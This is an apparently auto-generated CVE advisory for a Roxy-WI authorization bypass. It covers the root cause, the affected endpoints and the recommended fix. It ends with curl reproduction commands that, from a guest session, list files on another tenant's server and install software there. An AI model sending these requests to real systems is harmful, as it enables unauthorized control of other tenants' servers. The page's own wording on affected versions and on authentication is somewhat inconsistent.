CVE-2026-45552
Description
Roxy-WI versions prior to 8.2.6.4 allow any logged-in user to bypass authorization and control servers via Ansible/SSH.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Roxy-WI versions prior to 8.2.6.4 allow any logged-in user to bypass authorization and control servers via Ansible/SSH.
Vulnerability
Roxy-WI versions 8.2.6.4 and prior suffer from an authorization bypass vulnerability in the /install/* blueprint. Specifically, endpoints like install_exporter, install_waf, install_geoip, check_geoip, get_exporter_version, and get_task_status lack proper access controls, such as roxywi_common.is_user_has_access_to_its_group(server_ip) or check_is_server_in_group(server_ip). Only the install_monitoring page enforces administrator-level access. This oversight allows any authenticated user, including those with the default guest role, to manage these services on any server registered in Roxy-WI [1].
Exploitation
An attacker needs to be a logged-in user within Roxy-WI. They can then target any of the vulnerable /install/* endpoints, providing a server_ip that belongs to a different tenant. The vulnerable endpoints do not check the user's role or group membership. Roxy-WI uses stored per-server SSH credentials, which are often provisioned with sudo rights for management tasks. The attacker can leverage these credentials to execute arbitrary commands on the target server via Ansible playbooks [1].
Impact
Successful exploitation allows any authenticated user to install or reconfigure exporters, WAFs, and GeoIP databases on any server managed by Roxy-WI, regardless of tenant ownership. Since the Ansible playbooks run with the server's SSH credentials, which have sudo rights, an attacker can effectively gain administrative control over the targeted servers, leading to Remote Code Execution (RCE) with elevated privileges [1].
Mitigation
At the time of publication, there are no publicly available patches for this vulnerability. Users are advised to restrict access to Roxy-WI and monitor its usage. Further information regarding fixes or workarounds is not yet disclosed in the available references [1].
AI Insight generated on Jun 10, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
1Patches
0No patches discovered yet.
Vulnerability mechanics
Root cause
"Missing authorization checks on installation endpoints allow any logged-in user to execute administrative actions on any server."
Attack vector
Any logged-in user, including a default guest role, can exploit this vulnerability. The attacker needs an authenticated session and the target server's IP must be present in the Roxy-WI database. By sending unauthenticated requests to the `/install/*` endpoints, an attacker can trigger Ansible playbooks using stored SSH credentials to install or reconfigure services like exporters, WAF, and GeoIP databases on any server, regardless of tenant ownership [ref_id=1]. Additionally, the `check_geoip` endpoint allows attackers to read directory listings on victim servers [ref_id=1].
Affected code
The vulnerability lies within the install blueprint, specifically in the endpoints `install_exporter`, `install_waf`, `install_geoip`, `check_geoip`, `get_exporter_version`, and `get_task_status`. These endpoints in `app/routes/install/routes.py` lack proper authorization decorators like `page_for_admin` and do not perform group checks, unlike the `GET index` page which is correctly protected [ref_id=1]. The `run_ansible` function in `app/modules/service/installation.py` is also involved as it loads server-specific SSH credentials without user-based authorization [ref_id=1].
What the fix does
The advisory recommends applying the `page_for_admin(level=2)` decorator and a group ownership check (`roxywi_common.check_is_server_in_group(server_ip)`) to all affected installation endpoints. This ensures that only administrators with the correct group permissions can access and execute these sensitive functions, thereby preventing cross-tenant configuration tampering and unauthorized service installations [ref_id=1]. At the time of publication, no patches are publicly available.
Preconditions
- authAn authenticated session is required, but no specific role is necessary.
- configThe target server's IP address must be registered in the Roxy-WI Server table.
Reproduction
# Logged-in as a role=4 guest in tenant1: COOKIE='-b /tmp/guest.jar' TARGET=victim.example VICTIM_SERVER_IP=10.0.0.42 # tenant2 HAProxy box, NOT in guest's group
# 1. List /etc/haproxy/geoip/ on tenant2's HAProxy via Roxy-WI's stored creds: curl $COOKIE "https://$TARGET/install/geoip/haproxy/$VICTIM_SERVER_IP" # → server_mod.ssh_command(...) output streamed back to guest
# 2. Install Prometheus HAProxy exporter on tenant2's HAProxy: curl $COOKIE -H 'Content-Type: application/json' \ -X POST "https://$TARGET/install/exporter/haproxy" \ -d "{\"server_ip\":\"$VICTIM_SERVER_IP\",\"exporter_v\":\"0.15.0\"}" # → ansible runs against tenant2's HAProxy, opens stat port, modifies systemd
# 3. Install ModSecurity WAF on tenant2's HAProxy: curl $COOKIE -X POST "https://$TARGET/install/waf/haproxy/$VICTIM_SERVER_IP" # → tenant2's haproxy.cfg gets a `filter spoe engine modsecurity` directive, # a new modsecurity-spoa systemd unit, and unsigned WAF rules from disk.
Generated on Jun 10, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
1News mentions
0No linked articles in our index yet.